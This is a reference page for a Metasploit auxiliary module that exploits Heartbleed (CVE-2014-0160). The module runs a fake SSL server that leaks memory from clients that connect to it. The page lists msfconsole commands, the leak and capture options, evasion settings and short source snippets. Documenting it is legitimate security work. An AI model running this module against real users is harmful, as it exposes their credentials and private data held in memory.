OpenSSL Heartbeat (Heartbleed) Client Memory Exposure - Metasploit


This page contains detailed information about how to use the auxiliary/server/openssl_heartbeat_client_memory metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
Module: auxiliary/server/openssl_heartbeat_client_memory
Source code: modules/auxiliary/server/openssl_heartbeat_client_memory.rb
Disclosure date: 2014-04-07
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0160

This module is also known as Heartbleed.

This module provides a fake SSL service that is intended to leak memory from client systems as they connect. This module is hardcoded for using the AES-128-CBC-SHA1 cipher.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/server/openssl_heartbeat_client_memory
msf auxiliary(openssl_heartbeat_client_memory) > show targets
    ... a list of targets ...
msf auxiliary(openssl_heartbeat_client_memory) > set TARGET target-id
msf auxiliary(openssl_heartbeat_client_memory) > show options
    ... show and set options ...
msf auxiliary(openssl_heartbeat_client_memory) > exploit

Go back to menu.

Msfconsole Usage


Here is how the server/openssl_heartbeat_client_memory auxiliary module looks in the msfconsole:

msf6 > use auxiliary/server/openssl_heartbeat_client_memory

msf6 auxiliary(server/openssl_heartbeat_client_memory) > show info

       Name: OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
     Module: auxiliary/server/openssl_heartbeat_client_memory
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-04-07

Provided by:
  Neel Mehta
  Riku
  Antti
  Matti
  hdm <[email protected]>

Available actions:
  Name     Description
  ----     -----------
  Capture  Run server to disclose memory from incoming clients

Check supported:
  No

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  HEARTBEAT_LIMIT  512              yes       The number of kilobytes of data to capture at most from each client
  HEARTBEAT_READ   65535            yes       The number of bytes to leak in the heartbeat response
  NEGOTIATE_TLS    false            yes       Set this to true to negotiate TLS and often leak more data at the cost of CA validation
  SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT          8443             yes       The local port to listen on.
  SSL              false            no        Negotiate SSL for incoming connections
  SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)

Description:
  This module provides a fake SSL service that is intended to leak 
  memory from client systems as they connect. This module is hardcoded 
  for using the AES-128-CBC-SHA1 cipher.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0160
  https://www.kb.cert.org/vuls/id/720951
  https://www.us-cert.gov/ncas/alerts/TA14-098A
  http://heartbleed.com/

Also known as:
  Heartbleed

Module Options


This is a complete list of options available in the server/openssl_heartbeat_client_memory auxiliary module:

msf6 auxiliary(server/openssl_heartbeat_client_memory) > show options

Module options (auxiliary/server/openssl_heartbeat_client_memory):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   HEARTBEAT_LIMIT  512              yes       The number of kilobytes of data to capture at most from each client
   HEARTBEAT_READ   65535            yes       The number of bytes to leak in the heartbeat response
   NEGOTIATE_TLS    false            yes       Set this to true to negotiate TLS and often leak more data at the cost of CA validation
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8443             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)

Auxiliary action:

   Name     Description
   ----     -----------
   Capture  Run server to disclose memory from incoming clients

Advanced Options


Here is a complete list of advanced options supported by the server/openssl_heartbeat_client_memory auxiliary module:

msf6 auxiliary(server/openssl_heartbeat_client_memory) > show advanced

Module advanced options (auxiliary/server/openssl_heartbeat_client_memory):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the server/openssl_heartbeat_client_memory module can do:

msf6 auxiliary(server/openssl_heartbeat_client_memory) > show actions

Auxiliary actions:

   Name     Description
   ----     -----------
   Capture  Run server to disclose memory from incoming clients

Evasion Options


Here is the full list of possible evasion options supported by the server/openssl_heartbeat_client_memory auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(server/openssl_heartbeat_client_memory) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<VALUE> Client rejected our connection with a fatal error: <MESSAGE_REASON>


Here is a relevant code snippet related to the "<VALUE> Client rejected our connection with a fatal error: <MESSAGE_REASON>" error message:

139:	        print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
140:	        return
141:	      end
142:	
143:	      if level == 2
144:	        print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
145:	        return
146:	      end
147:	
148:	    end
149:	

<VALUE> Failed to decrypt, giving up on this client


Here is a relevant code snippet related to the "<VALUE> Failed to decrypt, giving up on this client" error message:

223:	    return if @state[c][:shutdown]
224:	    return unless data.length > 5
225:	
226:	    buff = decrypt_data(c, data[5, data.length-5])
227:	    unless buff
228:	      print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")
229:	      c.close
230:	      return
231:	    end
232:	
233:	    message_code = buff[0,1].to_s.unpack("C").first

<VALUE> Heartbeat data could not be stored


Here is a relevant code snippet related to the "<VALUE> Heartbeat data could not be stored" error message:

270:	        )
271:	        print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")
272:	      rescue ::Interrupt
273:	        raise $!
274:	      rescue ::Exception
275:	        print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
276:	      end
277:	
278:	      # Report the memory disclosure as a vulnerability on the host
279:	      report_vuln({
280:	        :host => @state[c][:ip],

<VALUE> Decryption failed: <E>


Here is a relevant code snippet related to the "<VALUE> Decryption failed: <E>" error message:

412:	      # Trim the trailing MAC signature off the buffer
413:	      if buff.length >= 20
414:	        return buff[0, buff.length-20]
415:	      end
416:	    rescue ::OpenSSL::Cipher::CipherError => e
417:	      print_error("#{@state[c][:name]} Decryption failed: #{e}")
418:	    end
419:	
420:	    nil
421:	  end
422:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Neel Mehta
  • Riku
  • Antti
  • Matti
  • hdm

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.